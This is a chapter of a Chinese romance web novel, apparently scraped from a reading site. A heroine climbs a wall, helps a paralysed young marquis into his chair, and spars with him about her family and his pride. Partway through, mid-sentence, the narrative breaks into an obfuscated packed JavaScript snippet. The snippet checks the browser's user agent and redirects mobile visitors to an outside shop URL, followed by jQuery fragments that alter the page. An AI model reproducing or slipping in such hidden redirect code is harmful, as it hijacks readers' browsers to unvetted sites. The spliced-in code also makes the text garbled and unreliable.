这片墙是陈知微当初特意选的,清远书院重建时,为了节省一点预算,这一小段是用的是侯府的墙。
当初谁也没想到有人胆大到敢翻绿琉璃瓦的墙头。
陈知微先是骑在墙上,看了下脚下的高度,有块松软的土,当即就跳了下去。
不是她不走书院正门,那边有四五个童子把这门呢,陈知微但凡敢迈出去一步,他们就能喊得满山皆知。
陈知微将系在腰上的裙摆放下,拍了拍手。
感谢她以前高中时代翻墙拿外卖的功底,说到外卖,她好想念奶茶啊。
陈知微饥肠辘辘。
还没等陈知微在脑子里喝一口,前边传来好大一声响动。
她警觉看过去,原本亭子里舒舒服服躺着的那个帅哥此时翻倒在地上,竹椅也倒了。
可他却没立刻起来,而是坐在地上先将竹椅翻正。
接着撑着自己的双臂打算爬到竹椅上,但那竹椅还是有点高度的,他的屁股总是差一点点坐上去。
陈知微躲在竹林后就看他吃力地爬啊爬,有一次歪倒时还差点碰到了凉亭的柱子。
陈知微已经看出了端倪。
她纳闷这个人怎么不喊人帮他一下啊,她原先明明看到还有一个老头在这里的,应该是他的仆从,他只要喊一声,这些困局就解决了。
可他偏偏不喊,陈知微都能从他薄纱的黑色衣袖外看到他暴起的肌肉,他的侧颊也咬的紧紧的。
一定很艰难吧,对于我们这样的人来说,这些就是很难的事情,因为自尊自卑……
陈知微咬了咬牙,还是从竹林里走了出去。
萧肃之坐在地上发呆,两条腿扭曲地摆放着,他已经无心去把腿摆正了,看着无力的两条腿,像看见两条恶心的蚯蚓。
他想,等兰叔来,也许就能看见他这副样子,然后眼睛里露出奇异的可怜与可惜,再将他勉力搂抱起来送上椅子。
兰叔说找个更健壮的人来伺候他吧。
他没同意,他不想再多一个人看见他狼狈的样子。尤其是更健壮年轻的男人,他不想多面对一个或者怜惜或嘲笑的表情。
他们心里想什么,萧肃之都猜得到。
看啊,这个人,这个昔日里高高在上,以为自己多厉害的金贵小侯爷,现在变成这样一副爬虫样子,多难看,他甚至还需要我来抱他……
萧肃之手指扣着地,胳膊上有一块擦伤。
他盯着地砖,走神地想,这块地砖是哪个工匠做的呢?他搬这块砖的时候会不会想自己力气真大,自己的腿脚真好使?
忽地,一只脏兮兮的手伸到他脸前。
萧肃之抬头。
花猫似的脸近距离出现在他的眼眶里。
那人见他迟迟不动,给他翻了个白眼,还用脚踢了踢他的腿。
“我的小侯爷,魂归来兮,快点把手搭上来,我把你抱上去!”
“你……”萧肃之已经呆住了。
陈知微看到他那双动弹不得的腿就知道他为啥每天躺在这了,她原本以为是自己赶巧了,不知道遇到侯府的哪个人总睡在这乘凉。
这下才知道,原来他就是那个倒霉小侯爷。
陈知微看这个人就来气,不止是因为他抢了自己老妈。
还因为,她看够了这种,自怨自艾,好像全世界都抛弃了自己,死要脸面不愿意拉下脸向别人求助的样子。
说一句“帮帮我,谢谢你”好像能掉一大块肉一样。
陈知微以为重活一次再也不会遇到这样的人了,没想到她面前这个就是。
“快点。”陈知微又踢踢他。
萧肃之的眼睛幽黑,没有碰她的手。
反而抬起脸冷厉道:“滚开!这是侯府的地方,你无故翻进来是重罪!”
陈知微一副死猪不怕开水烫的样子。
“好啊,你把我头砍了吧,然后你就在这地上使劲坐着,等下一个人看见你再把你抬起来,到时候你就高兴了是吧?”
萧肃之闷头不说话,推开她的手,自己握住竹椅的两边扶手。
陈知微看着他的头顶,乌黑的长发及地,上面也没长俩旋啊。
她那边老家话说,一个旋聪明,两个旋倔……
这人也没比别人多一个旋啊。
萧肃之哪知道她心里在想什么,只感觉有一股灼热的视线在打量他,心中又气闷又厌恶。
憋着劲地想证明自己能上去。
谁料,下一秒,萧肃之感到一股热气挤近他,腋下被两只手抄起来。
他感觉自己一瞬间失重,又一瞬间着地。
再回神,他已经安稳坐在竹椅上了,那两双手的主人还给他摆正腿,拍了拍衣摆上的灰尘。
陈知微见他愣愣地看着自己,视线自下而上多少有些不可置信。
她摆摆手深藏功与名:“不用客气,举手之劳。这都是我们新时代青年应该做的。”
萧肃之气得脸都涨红了。
咬牙问:“你是哪家的?”
陈知微当他要谢自己,忙说:“雷锋做好事不留名,我陈知微又哪能留名呢?”
“陈知微?”萧肃之听她想到哪里说哪里,却还是捕捉到关键信息。
他眯起眼睛,京城里姓陈的人家不是少数,但有资格上清远书院的陈姓人家却寥寥无几。
可陈知微这个名字,还有这张脸,他想了想,还是没能对上哪户陈姓人家。
他本就对京城闺秀小姐的脸没甚印象,这样一个莫名其妙大胆的小姐更是无从想起。
只能拧着眉耐心问:“令尊是?”
陈知微却耳朵尖,已经听到一墙之隔的清远书院里有人在喊她的名字,还不止一个。
她心虚地往这侯小侯爷的椅背后面藏了藏,鼻尖却闻到他乌黑柔顺的长发上的香气。
她刚才将他提溜上去的时候就闻到了这股香气,还怪好闻的,有点像前世的真我香水的淡香味。
萧肃之眼看着这人变怂,冷笑道:“找你的?信不信我现在喊一声把她们都引过来。”
陈知微才不信他敢喊,要不然刚才也不至于那么狼狈了。
她道:“你喊啊!”
仗着萧肃之没转头,悄悄还细细闻了一下那头发,闻完她差点给了自己一个耳刮子。
咋这么像痴汉,真是丢侍郎府她大哥的脸!
萧肃之嘴巴憋了憋,还是没动。
耳闻着墙那边的声音越来越远,陈知微呼出口气。
萧肃之问她:“你突然翻过来到底做什么?”
陈知微道:“书院那边有书童看守,我本来想借你们这的大门一用,结果看见你在那扑腾,就只好先帮帮你喽。”
萧肃之听见扑腾两个字脸色黑如锅底,忍了又忍没把她推池子里去。
他道:“那你知道这庄子门口的带刀护卫更多吗,一旦你摸过去,露个头,下一秒头就掉地上,热血会洒我别庄门口满地。”
陈知微瞪大眼,她还真忽略了这点!
她跟她大哥去侯府的时候,侯府那门口就站不少护卫,更何况这个被侯夫人当成眼珠子的小侯爷的地盘。
她深刻地嫉妒了。
阴阳怪气道:“哦,恭喜你投了个好胎喽。”
萧肃之眼突然一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17768726|208184||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
黯,他现在真的能算好吗?
陈知微没管他敏感的内心,在亭子里溜溜达达。
“你这地方倒怪清静,我前几天就想问了,这么冷清你不觉得难受吗?”
萧肃之不屑:“我就在这里睡个觉有什么好冷清的,倒是你,天天爬墙头到底想干嘛,我没让兰叔报官抓你都是我大度不拘小节。”
陈知微没理他,接着说自己的。
“还有旁边这大池子,我听说你不是掉水里才变成这样子的,居然不怕水吗?”
她记得,侯府院子里的那大池子也好好放着没动,不像他们家,那小池子老早就填了。
萧肃之牙疼,真是哪痛她往哪捅刀子。
不过这也确实没什么好忌讳的。
“池子有什么错,它就在那不会动,错的都是人罢了,谁想往它身上栽赃它都是没有办法的。”
陈知微点点头认同:“我大哥原也是这样说的。”
“你大哥?”萧肃之又捕捉到关键消息。
“我大哥很帅,”陈知微瞄萧肃之的脸一眼,“你也就比他差了那么一点吧!”
萧肃之面无表情:“你是工部右侍郎家的。”
“你怎么知道?!”陈知微吓一跳。
原本她看这人对她的名字没有印象,还以为他不知道自己是谁,正好七扯八扯地胡诌,等风头过了她再翻墙回去。
哪知这才说了几句话就被开户了!
萧肃之冷笑:“姓陈,有个‘帅’的兄长,在京城里屈指可数,在女院读书,本人又傻又呆,除了陈侍郎我再也想不出来第二个了!”
陈知微郁猝。
“你见过我爹吗?那你可千万别跟我爹说啊,他本来就不喜欢我,要是知道我在书院乱来,又该责问我大哥了。”
萧肃之傲然:“侯府来往的都是尚书之流。”
“好好好,知道你们侯府金贵了好吧。”陈知微摆手。
她看了看天,又看了看萧肃之。
临走时诚恳道:“小侯爷,让别人帮忙真不是什么坏事,人有时候就是得示弱,你在这个世界上又不是只有自己一个人。”
萧肃之又不开心了,刀刻般的脸带点愠怒盯着陈知微。
陈知微无知无觉:“我先前摸你的腿,好好的,哪也没缺,骨头正常,又粗又壮的,比我以前好了太多太多。别放弃自己……”
她还想多说两句,半晌还是叹了口气,停住了。
萧肃之冷哼:“陈知微,你天天翻墙头到底是为了什么?”
陈知微看他那张精致又突出的脸,脸色的苍白却是怎么也藏不住的。可他的眼睛,像极了她妈的眼睛。
“我早就说了,上午问你侯夫人什么时候来呢。”
萧肃之了然:“我母亲曾提过清风寺帮了陈侍郎家人,你是想找她道谢吧。”
陈知微顺势点头。
“那你告诉我,她一般都什么时候来看你,省得我每天白跑来扒墙头。”
萧肃之依然扭头:“不知道!”
“行吧。”
陈知微摇摇头,无奈地往墙角走,临走前还顺了一串葡萄揣在怀里。
只见她先是疾步走,边走边挽裙子,三两步跑到墙边,顺着一根粗壮的竹子攀爬,爬到中间,伸出一只纤细的手臂扣住结实的瓦片,整个人像猴子一样荡了过去。
然后轻巧地越过墙头消失不见了。
哪有一点官宦小姐的样子。
萧肃之的脑袋久久没有移开视线,半晌,用手背捂住了眼睛。
他还没来得及告诉她,他可以让人领着陈知微从别庄大门出去……